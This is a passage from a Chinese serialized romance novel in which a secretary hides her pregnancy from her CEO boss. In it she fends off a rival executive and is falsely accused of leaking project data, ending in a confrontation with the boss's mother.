“昨晚去找贺忱是我冒失了,但你放心,等我回九洲那天,我一定把你从他手里夺过来……” 沈渺转身往外走,听到他的话一顿,并未回应。 十一点,沈渺准时回公司,不待处理桌上积压的文件,就被贺忱带着接受与程家合作的采访。 百荣与程家的合作,沈渺从头盯到尾。 她带齐了采访所需的文件,在贺忱需要时,准确无误地将资料递上去。 偶尔有遗漏处,她及时低声提醒。 “贺总,您对程家的事情这么上心,可见跟程小姐的感情很稳定,先前传二位要订婚突然取消,方不方便透露一下具体原因?” 工作谈完,记者开始围绕贺忱的私事。 “吵了架。”贺忱语气无奈,眉宇染上几分宠溺。 记者们一阵惊呼,纷纷发问。 “您和程小姐也会吵架吗?” “二位吵架谁先低头?” “年前贺总跟程小姐吵架,当众求原谅,怕是他先低头哦。” 贺忱骨廓分明的面容挂着淡淡的笑意,随意回答着,“她是女孩子,要宠着,我低头是应该的。” “那您和程小姐的订婚,具体定在什么时候呢?” 贺忱沉吟片刻道,“很快,到时候会提前通知各位。” 说完,他起身整理了下西装,就采访进行总结后,转身离开。 “贺总跟程小姐吵到取消订婚,这以后会不会分手啊?” “人家青梅竹马一起长大,吵架是感情的调和剂。” “就是,人家越吵感情越好,订婚、结婚是迟早的事情,你没看贺总刚刚的表情,对程小姐情深义重着呢……” 沈渺握着文件的手加大力度,指尖泛白,纸张都皱成了一团。 “沈秘书。”不远处,有人喊了她一声。 她回神,这才发现贺忱已经下台好一会儿。 她调整了下状态,拿着文件下台,收拾公文包离开。 回到公司,已经十二点半,过了饭点。 沈渺放下公文包,敲响了贺忱办公室的门。 “进。”男人富有磁性的声音传出。 她推门而入,“贺总,午餐订哪家?” 进了办公室后,沈渺才看到程唯怡在,来给贺忱送午餐。 午餐已经摆放整齐,两人紧挨着坐,程唯怡夹了一块红烧肉,正递到贺忱嘴边。 她声音戛然而止,喉咙发紧。 “贺忱哥的午餐用不着你操心,管自己就行。” 程唯怡睨了她一眼,转过身又冲贺忱笑,“贺忱哥,张嘴。” 她半个身子都快钻贺忱怀里去了。 贺忱扫了她一眼,朝程唯怡那边歪了下头,吃了程唯怡递过来的食物。 “打扰了。”沈渺低头,转身出去,将门关上。 她没胃口,吃了两个小面包垫垫。 平日里觉得能果腹还算好吃的面包,今天吃起来干涩,难以下咽。 “渺渺,你怎么在吃这种东西,你现在……” 贺懿鬼鬼祟祟上来找她,看到她在吃面包,很心疼。 她怀着孕,吃这个没营养啊! 话说一半,又怕露馅,及时收住。 沈渺被她突然冒出来吓一跳,喝了口水顺顺。 “有工作,赶不及订餐了,你找我有事?” 贺懿小鸡啄米般点头,她拉了个椅子在沈渺旁边坐下。 “你跟何之洲很熟吗?” 沈渺一怔,“怎么了?” 30.你确定要自降身价,跟她混为一谈? “就,问问。” 调查沈渺不在总公司这半年,还得偷偷摸摸的,对贺懿来说很难。 听人说今天沈渺去医院看何之洲了,她赶紧过来打听一下。 “不算特别熟。”沈渺如实回答,“你别忘了,那是你哥的死对头。” 她若是跟何之洲太熟,就过分了。 贺懿‘哦’了一声,“也对,我就随口一问,你别放在心上。” 沈渺黑白分明的眼眸看着她,等着她继续问。 谁知她起身边走边说,“我去给你买午餐,你等着!” “哎——”沈渺想让她别去,时间已经来不及了。 可贺懿一溜烟跑得比兔子还快。 贺懿就近买了一份午餐,路上给贺老夫人打电话。 “她说跟何之洲不熟,奶奶,你信吗?” 贺老夫人一阵头疼,“事到如今,每一个跟渺渺有接触的男人都可疑!” 贺懿一阵头大,分公司那边跟沈渺接触的男人,没有一千也有八百。 查到沈渺孩子会打酱油了,她也查不完啊! 算了,先从最好查的开始查。 好歹何之洲是公众人物,他半年的行踪更好查一些…… —— 距离上班还有十分钟的时候,贺懿给沈渺送了午餐。 沈渺迅速吃完,喝了一杯温水,便又收拾好公文包,准备跟贺忱去见客户。 “贺忱哥,你带我去嘛。” 办公室门推开,程唯怡跟在贺忱后面,像个小尾巴,“我帮不了你的忙,我就坐在一边不行吗?” 贺忱阔步走向沈渺,无奈的语气带着几分威严,“你在公司等着。” “我不要。”程唯怡跺脚,“我不想跟你分开!” 沈渺拎包在一旁站着看。 贺忱停下来,“你一个女孩子整天出去抛头露面,别人怎么看我?” 程唯怡似乎就等他这话,指着沈渺说,“她也是女的,整天跟着你里出外进的像什么样子?你带林昭去,别让她去了。” “你确定要自降身价,跟她混为一谈?””贺忱耐着最后一丝性子,反问程唯怡。 程唯怡唇角的弧度顿时压不住了,她得意的看了眼沈渺。 “我才不跟她比呢,但你跟别的女人出去,人家吃醋。” 贺忱抬起手,摸了摸她的头,“乖,回去等着。” 他温柔起来,能要人命。 程唯怡快溺死在他的柔情里,心里美滋滋的宛若灌了蜜一样,乖乖回办公室去了。 贺忱回眸,面色恢复清冷,“走。” “嗯。”沈渺跟在他后面,宛若机械一样的跟着。 程家虽然比不上贺家,但在京北也能排得上号。 沈渺这个没有背景,无父无母的孤儿,抬多高的身价,也不敢跟程唯怡比。 贺忱说的是事实。 沈渺从未有一刻,这么清晰地感受到家世背景带来的屈辱感。 逼仄的电梯里,男人身上清洌好闻的气息夹杂着一丝淡淡的香水味,弥漫在她鼻翼间。 她忽然有些透不过气。 窒息感令她的胃里也开始翻涌,不知是不是刚刚吃过东西的缘故。 沈渺抬手,掩住唇瓣,试图舒缓一下那股难受。 电梯在负一层停下。 贺忱率先出去。 沈渺紧跟其后,谁知刚出电梯右手边的垃圾桶里传出一股刺鼻的味道。 她一下控制不住,转身跑到角落干哕 将刚刚吃进去的午餐全部吐出来,吐到眼泪和鼻涕直流,酸涩腐蚀着她整个人。 待吐空了,彻底没东西了,她蹲在墙角喘息着。 “没去看医生。” 贺忱的声音在不远处传来。 沈渺这才想起,他也在,她从包里拿出纸巾擦了擦脸。 “抱歉,失态了,您可以到车上等我。” 贺忱身子抵着墙,抬起的手中拿着一瓶矿泉水,“以前不记得你胃病这么严重。” 以前沈渺大部分时间都是胃痛,脸色难堪,吐的次数不多。 这才短短两日,贺忱已经第二次看到她吐了。 “谢谢。”沈渺精致的眉目染着淡淡的客气与疏离。 她沉吟片刻,干脆又说,“我最近胃病确实挺频繁,所以才想辞职好好调养一下。” 贺忱踱步朝她而来,高大的身形笼罩着住她。 “公司有病假,沈秘书若实在需要,可以申请。” 为了调理身体连工作都不要了,这不是沈渺的脾气。 他已然在心里,将沈渺的辞职与何之洲挂钩。 而沈渺认为,他强行留下她,不过是随时能拎起来压程唯怡。 压完了,他该哄哄,他们感情如胶似漆。 只有沈渺得罪人。 “如果可以,下周我想请假两天。” 沈渺适时宜开口。 上次在医院她没来得及做孕检,现在都过了日子,该去检查了。 “准了。”贺忱爽快松口。 吐完了,沈渺感觉头脑发虚,但好受多了。 最后是贺忱开车,带着她去应酬。 虽然程唯怡这次被贺忱哄开心了。 但接下来几日,沈渺每天都跟贺忱出双入对,程唯怡终于又受不了了。 她给何之洲打电话问违约金的事情。 “老子都在医院住了好几天了,你还不知道呢?” 何之洲把对贺忱的火儿,撒在程唯怡身上,“贺忱不干,喝酒差点儿没把我喝死!” 程唯怡顿时心底警铃大作,“贺忱哥拒绝了?” “程唯怡,我看你这准贺少夫人的地位不保啊!” 何之洲煽风点火,不介意让这火烧得更旺一些,“我看沈渺迟早取代你的位置!” “你胡说!”程唯怡气得挂了电话。 这两日沸沸扬扬的新闻她没有看,只顾着盯沈渺和贺忱了。 现在看来,何之洲醉酒入院被卸职,是贺忱的手笔! 他是为了沈渺才这样做的? 不行,无论如何也要让沈渺离开! 她一通电话打给明黎艳,将事情的来龙去脉说清楚。 “伯母,贺忱哥这是什么意思啊?” 明黎艳没想到,何之洲被卸职的事情竟然跟贺忱有关。 贺忱从来不与何之洲那样的二世祖计较,谁知如今为了沈渺—— 但她不能将错归结到贺忱身上,一味讨伐沈渺。 “沈渺好大的能耐,勾上了何家的人,贺忱的脾气你还不知道吗?撬他的人等于打他的脸,唯怡,你这一步棋下错了!” 程唯怡后知后觉过来,明黎艳说得对。 她不该利用何之洲去撬沈渺! “以后再有事,及时跟我说,沈渺那边交给我,你不用管。” 明黎艳将事情包揽下,程唯怡年轻单纯,哪里斗得过沈渺这混迹商场多年的? 但沈渺再厉害,也在她手里翻不出花! 31.何之洲,毁我哥姻缘,我跟你没完! 工作繁忙,沈渺连周六日都在加班。 终于熬到批假的两天,她去医院体检。 为避免被人认出来,她戴上口罩和帽子,将自己捂得严严实实。 等待产检的人都有人陪着,成双成对的人群中,沈渺一个人很是扎眼。 她找了个角落的位置坐下,帽檐下明亮的眼睛,落在不远处一对新婚小夫妻身上。 刚才路过听到他们聊天,两人结婚刚三个月就怀孕了。 两个年轻人对这新到来的小生命很期待,脸上洋溢着即将成为爸爸、妈妈的喜悦和幸福。 沈渺的手轻轻抚摸着小腹,唇角轻掀着。 她也很期待孩子的到来。 “沈渺?” 何之洲手里拿着几张化验单,站在不远处,歪着脑袋打量过来。 沈渺循声望去,笑容僵住。 “还真是你啊!”何之洲一脸惊讶,朝她走过来时差点儿没撞到大着肚子的孕妇,“你来这儿干什么?” 沈渺再想否认自己不是沈渺,为时已晚。 她硬着头皮站起来,“我……来做体检。” 何之洲看着周围一个又一个的大肚婆,“孕检?” “女士体检包含彩超这一项的。” 除了沈渺外,还有几个检查妇科的女士在排号。 但何之洲还是不太信,将沈渺从头打量到尾,“好端端的,你体什么检?” “胃不舒服请假,来都来了就做个全面体检。” 沈渺不动声色地转移话题,“何总还没出院吗?” 何之洲的脸一下黑了,在她旁边位置上坐下。 “托贺忱的福,我得在医院住上一段时间。” 现在他还能以身体不适为由,解释被卸职的事情。 若出了院,大家岂不是都知道他是被贺忱给坑了? “那就不打扰何总了,您赶快回去休息吧。” 沈渺见他坐下,不免心底发急。 何之洲翘起二郎腿悠然自得道,“我这几天都快闲出病来了,正好在这儿陪你解解闷。” 沈渺:“……” “这不合适。”沈渺提醒他,“我是百荣的秘书,您是九洲的总裁。” 何之洲咬着牙笑,“我现在不是九洲总裁了!” 沈渺,“九洲迟早都是您的。” 她实话实说,但这话对于被卸职的何之洲来说,太刺耳了。 无一不在提醒他,他被贺忱坑了一道。 “怕什么,你捂成这样的,谁认得出来?” 你不就认出来了? 沈渺不认为,自己跟何之洲熟到,她全副武装还能被认出的地步。 看着坐在那里,打定主意不走的何之洲,她脑仁抽痛。 “32号沈渺!” 沈渺起身拿包,“何总先回吧,我检查要挺久的……” 话未说完,她的包被何之洲抢了去。 “我帮你拿包,你进去。” 沈渺欲把包拿回来,可何之洲抱在怀里,双手捧着手机玩,根本不给她将包拿走的余地。 “32号沈渺……” 叫号机再次响起。 沈渺只能拿着检查单进入检查室。 好在看何之洲的样子,相信她是来做体检的。 “沈小姐是吧,怀孕十周。” 医生一边检查一边告知她情况,“胎儿发育良好,你太瘦了,需要多吃一点补充营养。” 沈渺歪头看彩超屏幕上,那一团模糊的影子。 “这里是孩子,小胳膊,小腿……” 医生将屏幕往她那边移了点,“这个代表胎心,听一下声音。” 肚子平平的,沈渺一直没感觉到孩子的存在感。 此刻清晰地看到屏幕上的每一项数据,以及医生指给她孩子的手、脚。 她的心渐渐被暖意覆盖。 这是唯一与她血脉相连的亲人。 彩超单打印出来,沈渺将单据折好放入口袋,离开彩超室。 何之洲将她的包挂在脖子上,站在角落里等着她。 方才他们坐着的地方有两个孕妇坐下了。 “何总,您回病房吧,我要进行下一项了。” 何之洲避开她要拿包的手,“我闲着也是闲着,陪你查完吧,正好聊聊天。” 他把手机收起来,“程唯怡是不是又找你麻烦了?” 沈渺要回妇产大夫门诊,她强行将包从何之洲的脖子上摘下来。 “何总说笑了,我跟程小姐无冤无仇,她怎么会为难我。” 何之洲,“不可能,她给我打……” “我没有其他检查项了,何总赶快回病房吧,谢谢你帮我拿包。” 沈渺不听他把话说完,转身就走。 何之洲对她这么感兴趣,无非是想看热闹。 接连几次相处,沈渺对他的那股来自九洲总裁的尊重,被消耗得差不多。 她走在前面,何之洲不死心地在后面追。 “你给我个机会,咱俩聊会儿……” 出了医院门,冷空气来袭。 沈渺穿着羽绒服不怕,何之洲只穿了病号服,追出来三秒就‘嗷’一嗓子又回去了。 “沈渺,你就这么走了,对得起我吗?” 何之洲虽然存着看热闹的心,但是他不会坑沈渺。 如果程唯怡真欺负沈渺,他会保护沈渺的! 可沈渺避他如蛇蝎,枉费他为了沈渺被贺忱坑成这样啊! “老子不信了,我就插不了你跟贺忱中间一脚!等着,我现在就出院,我跟你没完……” 沈渺脚底生风,跑得飞快。 不远处,贺懿将这一幕收入眼底。 她面如死灰,给贺老夫人打电话,“奶奶,我确定了,渺渺的孩子就是何之洲的!这王八蛋,肯定是因为我哥才欺负渺渺的……” “百分百确定?你听到她亲口说了?”贺老夫人再三确认。 “渺渺来医院做孕检,何之洲都陪着,渺渺不想理他,他死皮赖脸跟着,还当众说渺渺对不起他……” 贺懿在心里淬了何之洲一口。 他欺负了沈渺,还好意思说沈渺对不起他? 贺老夫人不放心,“这种事情千万不能出错,你再观察调查一下两人,找到确切证据再说。” 挂了电话,贺懿盯着何之洲离开的方向,撸起袖子跟上去。 “何之洲,毁我哥姻缘,我跟你没完……” 几人都散了场,一个戴墨镜拿着相机的男人从暗中走出。 他拨出一通电话,“夫人,拍到了沈秘书私会何之洲的照片,但我还拍到了小姐。” 明黎艳的声音透过话筒传来,“小懿?” “小姐应该是跟他们偶遇。”偷拍的人不确定贺懿是来做什么的。 闻言,明黎艳说,“那就不用管她,继续盯着何之洲跟沈渺……” —— 妇科门诊跟住院部不是一个楼。 沈渺甩开何之洲,在外面转了一圈才去找医生。 32.何总说了您来消费全场免费 “你老公没跟你一起来吗?” 医生一边看她的彩超单,一边说,“胎儿发育很健康,你虽然是个年轻妈妈,但是最好让爸爸参与到你的孕期生活和孩子的新生儿期哦。” 沈渺的笑容有些僵硬,“他有事,不能来。” “再过一段时间做四维的时候,一定要让孩子爸爸过来,到时候能看出长得像爸爸还是像妈妈呢,可是爸爸跟孩子交流感情的好机会。” 妇产科医生是个约莫四十来岁的女人,和善又温柔。 “你们年轻夫妻啊,就是不注重孩子的生养问题,你上次产检也是一个人来的,爸爸不参与不行的,将来你一个人很辛苦,何况世界里没有爸爸的存在,对孩子也会有影响……” 沈渺安静听着,一句话也插不上。 但医生的话,却字字句句栽到她心里来了。 世界里没有爸爸的存在,对孩子会有影响的。 沈渺到了商音那儿,医生的话还在她耳畔回荡。 “愣什么神啊。”商音在她面前晃了晃手,“我跟你说话呢,到底怎么打算的。” 怎么打算,成了每次商音见她都会问的话题。 沈渺收敛思绪,她轻叹一声,“只能等机会,若没机会就只能等合约到期再走。” 直觉告诉她,程唯怡不会让她待在贺忱身边的。 商音倒吸一口凉气,“你就不怕被发现?” “怕。”沈渺点头,“决定留下这个孩子的时候,这便是一场豪赌,只是现在局势对我不利,但不代表我完全会输。” “能全身而退最好,如果退不了这工作咱们不要了,最差不过你以后不干这行了!” 商音拍了拍胸脯,“跟我干自媒体,我养你。” 沈渺只笑不语,商音的话令她心里暖暖的。 可商音不知道,她这个职位的都跟百荣的合同都明文规定,不得无故罢岗。 否则面临公司起诉,因为她手里掌握着百荣太多的高层机密。 “行,那以后我靠你养着,我负责带着两个孩子貌美如花,你赚钱养家。” “把你的检查报告给我,听说能从上面看出男孩女孩。” 商音朝她伸出手。 沈渺将检查单给她,“男孩女孩都行。” “最好是个女孩。”商音看她一眼,“没准贺家重男轻女,知道是个女儿不跟你抢,其次就是女孩能给我儿子当媳妇啊!” 沈渺无奈,由着她研究。 研究了半天,商音也没看出男孩女孩,脑子都快废了。 晚上八点,沈渺在商音那儿吃过饭才回来。 车刚进入小区,她就看到单元楼下停着的深蓝色超跑。 车窗半落,车内灯线发出幽蓝的光,照着何之洲那宛若妖孽般的面孔。 他转过头来冲着沈渺笑。 沈渺顿时有种被恶鬼盯上,甩都甩不掉的感觉。 她只能装作没看见,停好车下来,将包挎在肩上往单元楼里走。 “你体检完去哪儿了?” 何之洲从车上下来,快她一步挡在单元楼门口。 “我等了你一天。” 沈渺停下,分外无奈,“何之洲,你跟贺忱的恩怨我不想掺和,而且你从我这儿下手给贺忱带不来任何的威胁。” 听到她连‘何总’都不喊了,何之洲眼睛一亮,莫名兴奋。 “我不利用你找贺忱不自在,我只是想跟你做个朋友,在程唯怡为难你的时候帮你一把,顺便旁观看个戏。” 沈渺摇头,“交朋友是双向的,抱歉,我不想跟你交朋友。” 何之洲不以为意的笑笑,“那我就追求你,我追你是不需要你同意的。” “你还是回医院住着吧。”沈渺脸一黑,“麻烦让让,我要回家。” 病没好就继续治,跑出来干什么? 何之洲轻笑着,“行,那我不打扰你休息,回头电话联系。” 他让开位置,沈渺侧身进去,头也不回地上楼。 回到家里就把何之洲的号码拉黑了。 —— 上午十点,百荣大厦顶层会议室。 金丝眼镜下,贺忱狭长的眸黢黑如墨,审阅着与程家合作相关的文件。 两边坐满了参与此次合作的高层,静等贺忱下达命令。 贺忱骨节分明的手端起咖啡杯,递到嘴边时才发现,杯中空了。 “沈渺,冲杯咖啡来。” 偌大的会议室瞬间一片死寂,众人的目光不由自主落在他身边的程唯怡身上。 程唯怡一瞬脸色铁青,目光诧异地看着贺忱。 贺忱却毫无察觉,一心扑在眼前的文件上。 直到迟迟没得到回应,他眉骨一拢抬起头。 “贺总,沈秘书请病假了,我去帮您冲咖啡。” 林昭反应过来,上前拿过咖啡杯,转身出去。 贺忱摘掉眼镜,捏了捏眉心,看向欲哭不哭的程唯怡。 他嗓音淡漠,“习惯了。” “沈秘书一向能干,是贺总的得力助手,她不在我们也不习惯。” 立马有人附和。 接着整个会议室的人都帮腔。 “沈秘书不在总部这半年,我们都觉得少点什么,她的工作能力大家有目共睹。” “对,工作能力强,人人都念着她。” 程唯怡的泪在眼眶里打转,快要掉下来时,她‘噌’地站起来。 “我有些累了,先回家了!” 她跑出会议室,与端着咖啡回来的林昭撞在一起。 林昭赶忙将咖啡杯转向自己,滚烫的褐色液体倒在他身上,冒着热气。 “啊!”他将杯子丢了,迅速脱外套解衬衫扣子…… “哎呦,林助你没事吧?” “快进卫生间,用冷水冲一冲……” 会议室里乱了套,贺忱坐在位置上,面色沉甸甸的。 他看了眼以往沈渺坐的位置。 “贺总,林助烫伤了,可能要去医院处理一下!” 有人进来说。 “送他去医院,联系沈秘书回来。” 贺忱继续看文件。 会议室选出一位高层送林昭去医院,顺便通知沈渺回来上班。 接到电话的沈渺正在商场,准备买两双平底鞋。 “知道了。” 两天的假期,瞬间减半。 沈渺把试好的鞋子交给店员,“这两双吧,买单。” 店员把鞋子装起来,笑着交给她,“沈小姐您好,何总说了您来消费全场免费。” 33.要她这个秘书干什么? “你们认错人了。” 沈渺将卡递过去,“我不姓沈。” 店员微微一笑,从包里拿出一张照片,“沈小姐,您的照片整个商场的人,人手一张。” 沈渺的五官极具辨别性,本人跟照片上差不多,她一进商场,就有人认出来,发到了内部员工群里。 “抱歉,鞋子不要了。”沈渺放下鞋转身就走。 店员忙鞋子拿起来,追着她出来塞到她手里,“沈小姐,您这样何总会怪我们的!” “是啊沈小姐,请你别为难我们!”另一个店员挡住她去路。 照何之洲的脾气,真的会怪罪她们。 她们一脸为难,沈渺则一脸无奈。 “我回头把钱给何总。” 沈渺接了鞋子,才顺利离开,她驱车直奔百荣。 抵达公司,她拎着公文包直奔会议室。 项目部经理正在讲解与程家合作的项目核心内容。 会议已经持续一个半小时了,贺忱靠在椅子上,双腿叠放散漫又慵懒。 沈渺推门而入,引得不少人看过来,她颔首示意后,走到贺忱身边坐下。 “贺总。”她小声打招呼。 贺忱撩拨起眼皮看她一眼,算是回应。 “虽然类似的项目,百荣已经做过很多个,但贺总放心,我们绝对不会掉以轻心,一定会将稳定最大化将项目完成。” 项目部经理见贺忱对项目这么上心,顿感压力。 这次合作只是对程家来说至关重要,关乎着程家能否更上一层楼。 身经百战得百荣,根本不值得为这么一个项目劳师动众。 但谁让他们合作的对象是程家呢? 贺忱亲自坐镇,人人都压力翻倍。 沈渺虽是半途而来,但她很快就跟上了会议进度。 迅速地记录着项目的重点,一一罗列出来,将电脑转向贺忱。 “贺总,项目部准备的确实很齐全。” 贺忱将笔记本拿过去,认真地检查着。 “程家的事情,贺总可真小心。” “若这不是程家的项目,刚才程小姐跑的时候,贺总就已经追出去了。” “林助的烫伤怎么样?” “估计要休息两三天,伤口结痂能穿衣服了,才能回公司上班。” 挨着沈渺的两个人低声交谈。 一字不落地落入沈渺耳中,沈渺扭头低声问了句,“林助怎么了?” “烫伤了。”那人回答。 沈渺意外,林昭性子稳重怎么会被咖啡烫伤。 那人对着她欲言又止,终归还是没说别的。 “沈秘书,再跟项目部重新确认一下细节,确认好你单独向我汇报,今天先到这里。” 贺忱将笔记本合上,起身整理了下西装,转身离开会议室。 “贺总一定是坐不住去追程小姐了。”项目部经理拿着厚厚一摞文件,走到沈渺身边,“沈秘书一来他总算能脱身了。” 沈渺眼皮一颤,看向男人那抹急色匆匆的背影。 她轻扯了下嘴角,“赵经理,辛苦你再跟我对一遍吧。” “不是我说,比程家更重要的项目,贺总都没这么上心,他……唔!” 那人话没说完,就被其他人捂住嘴。 “找死呢,让贺总听见炒你鱿鱼!” 三五成群的人散场,只剩下沈渺跟项目部几人。 中午,沈渺暂停工作。 “辛苦大家一上午了,先去吃午饭吧,剩下的交给我,有问题下午我再找你们。” 赵经理起身,带着手底下几个人离开。 沈渺继而埋头工作,没几分钟却见赵经理又回来了。 “沈秘书,辛苦了,给你定了一份午餐。” “谢谢。”沈渺起身双手接过,“我还以为我今天中午要饿肚子了。” 她想尽快把细节核对好,免得贺忱突然回来耽误了进度。 赵经理又从口袋里拿出一瓶豆浆,“不用急,刚刚媒体拍到贺总跟程小姐吃西餐去了,一时半会儿回不来。” “谢谢。”沈渺又将豆浆接过来,语气不自觉地落寞了很多。 赵经理放下午餐离开,偌大的办公室只剩下沈渺一个人。 会议室只开了门灯,一抹光亮笼罩在着她,以及身旁那空着的首位。 沈渺的目光停顿在那位置上两秒,移开后又低下头去继续忙碌。 贺忱跟程唯怡的新闻近半年从未断过。 可每一次被拍到,都会上热搜,大家对他们的关注度高得离谱。 当天下午,贺忱没回公司。 三点钟,就一个文件审核的问题,沈渺不得不给他打电话。 电话响了七八声快要被自动挂断的时候才被接起。 “什么事。”贺忱低沉富有磁性的声音传来。 沈渺直入主题,“发到您邮箱一份文件,您审核一下,没有问题的话我就盖章执行了。” 不待贺忱说什么,程唯怡的声音传来。 “贺忱哥,你说好今天下午陪我的,怎么又在打电话?” 贺忱,“临时有工作。” 程唯怡冷哼一声,“不是有沈渺吗?” “她处理不了。” “整天就知道给你打电话,要她这个秘书干什么?” 程唯怡不满碎碎念,贺忱句句回应着,“嗯,你说的有道理,好,不要了……” “贺总,您看过以后邮件回复吧。” 沈渺将电话挂了。 她把手机放下,视线落在屏幕上,准备继续工作。 谁知字字句句,拼凑在一起她却读不懂了,乱糟糟的。 五分钟后,贺忱回复了一个‘OK’邮件。 沈渺将这个工作交代下去,进卫生间洗了把脸,这才冷静许多,继续工作。 晚上十点,她拎着公文包走出公司。 冷风袭来,她将黑色呢大衣裹紧,身体却依旧被冷意侵袭。 “沈渺!” 空旷的街道,男人的声音透过烈风传入她耳中。 街道边停着的红色超跑张扬肆意,在黑夜的映衬下更为明艳热烈。 何之洲从车里下来,脸上洋溢着笑容朝沈渺走过来。 沈渺停下来,看着他一步步走近,“何总,你来得正好。” 她从公文包里拿出一个密封袋,递过去。 “情书啊?”何之洲看了一眼,并未接。 沈渺‘嗯’了一声,“对,情书。” 何之洲‘啧啧’了两句,“骗我?这里面是钱。” 两双鞋子加起来不到一千,这些钱对何之洲来说根本不算什么。 但沈渺不能无故拿他钱,一分都不行。 她惦记着这事,提前就把钱准备出来了。 想的就是随时见到何之洲,把钱给他,只是没想到这么快。 “想让我收下也行,你把我从黑名单里放出来。”何之洲趁机提要求。 34.沈渺,你居然背叛贺忱! 沈渺拿出手机,当着他的面把他的号码从黑名单里放出来。 “来,加个微信。”何之洲把手机递过来。 短短几秒,沈渺拿着手机的手便已冻得发红。 她不愿多纠缠,将微信二维码打开,让何之洲扫。 何之洲扫了,申请加她为好友。 她没等通过,就已经把手机放回兜里了。 “时间不早了,何总早点回去休息。” 她转身朝车上走去。 何之洲长腿一迈跟上她,“我送你回去啊,我的车快。” “我不习惯太快。”沈渺被冻得脸都僵硬,想扯个笑容都难,“何总请回吧。” 她掏出车钥匙,走得更快了。 何之洲想追上她轻而易举,但恍惚间被一道刺眼的闪光灯吸引。 他眯起眼睛定睛一看,街对面的暗处站着一个人,手里拿着相机。 那人见他看过去,扭头就跑。 “草,又是哪家媒体!” 何之洲暗骂了一声,顾不上追沈渺,直冲马路对面。 可他还是晚了一步,跑到街对面时那人早已没影了。 而马路这边的沈渺也已经开车走人了。 “靠!”何之洲气得狠狠踹了路灯一脚,‘砰’的一声他疼的抱着脚跳。 沈渺在后视镜里看着他单脚跳,愣是气笑了。 以前都只跟何之洲打个面熟,除了被他为难喝酒从未深入接触。 这几天接触多了,发现何之洲这人又讨厌又不讨厌,一种说不出来的感觉。 充实的一天,让孕期本就容易疲倦的沈渺筋疲力尽。 回到家中,她洗了个热水澡上床倒头就睡。 而她熟睡时,网上一则新闻炸了锅。 百荣与程家合作的天成项目,其中一项很重要的资料被泄露。 所有的数据被公之于众的那一刻,众人在为百荣如此精湛的技术欢呼的同时。 也唏嘘百荣竟然被人算计了! 凌晨四点,沈渺就被电话吵醒,从睡梦中提溜起来,直奔公司待命。 依旧是昨天那个会议室,不同的是今天气氛凝重到令人窒息。 林昭都被喊过来了,他穿着宽松的睡衣,胸口处贴着几层纱布。 坐在主位的贺忱正在接电话,“既然你不信,那我就彻查百荣参与的工作人员,给你一个交代。” 他挂了电话,将手机丢到一旁。 撩拨起的眼皮具有穿透性的,在会议室众人脸上一一扫过。 这项数据,除了屋子里这些人,就只有程氏那边的人知道。 电话是程青良打过来的,他确定程氏没有人泄露,将责任推脱到百荣来。 “贺总,这项目是赵经理他们团队的心血,数据都是他们一个一个敲出来的,他们绝对不会泄露的!” 林昭见贺忱的目光始终徘徊在赵经理一众人身上,立马为他们讲情。 贺忱的眸锋一转,看向他,“不是他们,是你们?” 你们的‘们’,指的是林昭和沈渺。 林昭一噎,下意识看向沈渺。 睡得正熟被吵醒,又面临这么大的事故,此刻沈渺是懵的。 她坐在位置上半天,都觉得脑袋不清醒,像做梦一样。 数据泄露这种最低端错误,怎么可能是百荣的失误呢? 突如其来的目光,让她渐渐回了神。 “贺总,您大半夜把所有人叫过来审问,是情理之中,但如果没有证据随意的猜测,会伤了大家的心,我看还是先让程氏内部筛查比较好。” 沈渺就事论事,程氏被百荣扶持,不知被多少人眼红。 而且程氏与百荣对接的人在资历上都很浅,不是元老级别的员工叛变的可能性也更大! “贺总,我带着他们熬了几个通宵做出来的项目数据,这些数据比我们的命还重要,任何一个人都不会泄露的!” 赵经理站起来,激情表忠心,“如果是为了给程氏一个交代,您不得不做做样子我们都接受,可如果您是认真的,就像沈秘书说的,我们会心寒!” “目前为止,程氏接触这个项目的只有程青良一个人。” 项目虽然早就敲定,可机密数据并未内部公开。 因为程青良还没想好,让谁来接手这个项目。 霎时,众人像被勒住喉咙,说不出话。 沈渺呼吸一滞,莫名心里一沉。 “林昭,查清楚曝光数据的来源,顺藤摸瓜,总能找到证据。” 贺忱双手穿插撑在桌上,他沉声吩咐,“在那之前,会议室所有人都不许离开。” 林昭颔首,“是,贺总。” 东方泛起鱼肚白,街道逐渐喧嚣,可办公室里依旧是一片死寂。 眨眼两个小时过去,林昭匆匆回来。 “贺总,曝光数据的人在东城,经调查那个人是九洲的。” “九洲什么时候用这种卑劣的法子了!”赵经理气急败坏,“这是拿我们的心血祭天!” 贺忱狭长的眸微微眯起,“没了?” “目前只能查到这些,我们再查一查谁跟九洲的人接触过,就能断定内鬼是谁。” 林昭说出内鬼两个字的时候。 沈渺呼吸一滞,跟九洲接触过…… 她昨天刚刚见了何之洲,这算吗。 若接触过就是内鬼,她就洗不清了。 “这段时间为了项目,我们都是住在一起的,可以互相作证!” 赵经理毫不犹豫地说。 他说完项目部几个人互相点头作证。 一瞬,会议室里就只有林昭和沈渺在嫌疑之内。 “贺总,我和沈秘书跟了您这么多年,怎么可能是内鬼呢?” 林昭毫不犹豫地说,“一定是哪个环节出错,导致数据泄露了!” 不是内鬼,是失误,或许是谁不小心把数据弄丢了。 可偏偏这么巧,就丢到了九洲那群人手上…… 这个解释,听起来也很牵强。 不知谁小声说了句,“沈秘书怎么不说话?她看起来不太对。” 会议室静悄悄的,落针可闻。 沈渺能听见自己的心跳声。 诸多的目光朝她看过来,她眉头紧锁,面对质疑时有片刻的无从辩驳,但很快就冷静下来。 “贺总,我昨天见过何之洲,就在公司楼下。” 她这话一出,众人看她的眼神都变了。 “不过我见他是因为……” “因为你就是内鬼!”会议室外,一道底气十足的声音传来,“沈渺,枉费这些年百荣待你不薄,你居然出卖百荣,背叛贺忱!” 35.您放心,贺家的门……我不进! 明黎艳带着几位董事,气势汹汹而来。 她走到沈渺身边,高高抬起胳膊,‘啪’的一巴掌,狠狠打在沈渺脸上。 “你知不知道,这给百荣带来多大的麻烦!” 劈头盖脸的指责,肯定的语气,直接将罪名冠在沈渺头上。 沈渺被打得猝不及防,她抬手捂着火辣辣的半张脸,只觉得一阵耳鸣,脑袋也昏沉沉的。 “这也让程家损失惨重,你简直混账!” 一个巴掌不解气,明黎艳再次抬起手,朝着她另外一边脸打下去。 沈渺下意识闭上眼睛,预期中的巴掌却没落下。 她眼眸一颤,微睁开一条缝隙。 贺忱伟岸的背影挡在她前面,伸手拦住了明黎艳的一巴掌。 他面色凝重,眸底燃起怒意。 “这里是公司。” 